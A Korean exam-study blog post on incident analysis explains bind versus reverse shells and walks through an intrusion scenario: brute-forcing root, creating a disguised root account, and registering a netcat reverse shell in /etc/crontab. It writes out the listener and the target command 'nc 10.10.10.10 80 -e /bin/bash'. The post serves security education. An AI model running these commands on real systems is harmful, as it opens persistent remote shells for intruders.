본문 바로가기
정보보안기사&CISSP관련/침해사고 분석 및 대응

[Day 109] 리버스 쉘(Reverse Shell) 침해 사고 시나리오

by minimalist_2022 2020. 11. 27.

개요

  • 리버스쉘을 사용하는 이유는 방화벽을 우회하여 쉘을 획득하기 위함
  • 원격에서 서버에 명령어를 실행할 수 있는 쉘 획득방법은 2가지가 있음
    1) Bind Shell : 클라이언트/공격자가 타겟 서버에 접속하여 타겟 서버의 쉘을 획득하는 방식
    2) Reverse Shell : 역으로 타겟 서버가 클라이언트/공격자로 접속해서 클라이언트가 타겟 서버의 쉘을 획득하는 방식

 

리버스 쉘(Reverse Shell) 침해 사고 시나리오

1) 공격자는 내부침입에 성공한 후 웹서버 root계정을 무차별대입공격으로 알아냄.
2) 이후 반복적 침입을 위해 일반 사용자계정으로 보이는 root권한 사용자 계정 생성
3) 외부에서 지속적으로 웹서버에 접근할 수 있도록 netcat 프로그램을 이용한 Reverse shell 연결 작업을 cron table에 등록(/etc/crontab)
4) 이후 외부에서 주기적으로 연결해 악의적인 명령 수행

 

netcat 프로그램을 이용한 리버스 쉘 연결

1) 공격자는 자신의 PC에서 "nc -lvp 80" 명령을 실행하여 타겟 웹서버의 nc 프로그램(커넥터) 연결 요청을 수락할 수 있도록 함.
--> 80/tcp 포트로 연결요청을 대기하도록 nc 프로그램을 리스너로 동작시킨다는 의미

nc(netcat) 옵션
  • -l(소문자 l) : 연결 요청을 수락할 수 있는 리스닝 모드로 설정
  • -v : verbose 모드로 동작(진행상황 표시) -p : 로컬 리스닝 포트 설정

2) 타겟 웹서버에서 "nc 10.10.10.10 80 -e /bin/bash" 명령을 실행하여 nc 프로그램을 커넥터로 동작시킴. 
--> 공격자 PC(10.10.10.10 80포트)로 접속한 후 /bin/bash로 실행이미지를 교체한다는 의미

3) 타겟 웹서버의 nc 커넥터가 공격자 PC의 nc 리스너로 접속
4) 공격자PC와 연결된 타겟 웹서버의 nc 커넥터는 자신의 실행 이미지를 bash 프로세스로 전이한 후 nc 리스너와 통신
5) 공격자는 리버스쉘을 통해 타겟 웹서버에 악의적인 명령 수행

 

※ 참고 : 알기사 정보보안기사 실기 교재